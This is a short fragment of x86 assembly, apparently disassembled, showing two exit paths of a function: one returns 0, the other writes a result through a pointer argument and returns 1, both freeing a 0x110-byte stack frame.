pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword [ecx], eax
mov eax, 1
pop ebx
add esp, 0x110
ret